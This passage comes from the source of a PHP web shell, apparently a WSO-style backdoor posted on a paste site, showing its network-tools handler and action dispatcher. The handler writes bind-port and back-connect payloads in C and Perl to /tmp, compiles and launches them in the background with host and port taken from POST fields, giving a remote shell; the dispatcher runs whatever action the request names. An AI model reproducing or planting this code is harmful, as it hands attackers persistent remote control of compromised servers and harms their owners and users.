  2769.             @unlink("/tmp/bp.c");
  2770.  
  2771.             $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  2772.  
  2773.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  2774.  
  2775.         }
  2776.  
  2777.         if($_POST['p1'] == 'bpp') {
  2778.  
  2779.             cf("/tmp/bp.pl",$bind_port_p);
  2780.  
  2781.             $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  2782.  
  2783.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  2784.  
  2785.         }
  2786.  
  2787.         if($_POST['p1'] == 'bcc') {
  2788.  
  2789.             cf("/tmp/bc.c",$back_connect_c);
  2790.  
  2791.             $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  2792.  
  2793.             @unlink("/tmp/bc.c");
  2794.  
  2795.             $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  2796.  
  2797.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  2798.  
  2799.         }
  2800.  
  2801.         if($_POST['p1'] == 'bcp') {
  2802.  
  2803.             cf("/tmp/bc.pl",$back_connect_p);
  2804.  
  2805.             $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  2806.  
  2807.             echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  2808.  
  2809.         }
  2810.  
  2811.     }
  2812.  
  2813.     echo '</div>';
  2814.  
  2815.     printFooter();
  2816.  
  2817. }
  2818.  
  2819. if( empty($_POST['a']) )
  2820.  
  2821.     if(isset($default_action) && function_exists('action' . $default_action))
  2822.  
  2823.         $_POST['a'] = $default_action;
  2824.  
  2825.     else
  2826.  
  2827.         $_POST['a'] = 'SecInfo';
  2828.  
  2829. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2830.  
  2831.     call_user_func('action' . $_POST['a']);
  2832.  
  2833. ?>
Add Comment
Please, Sign In to add comment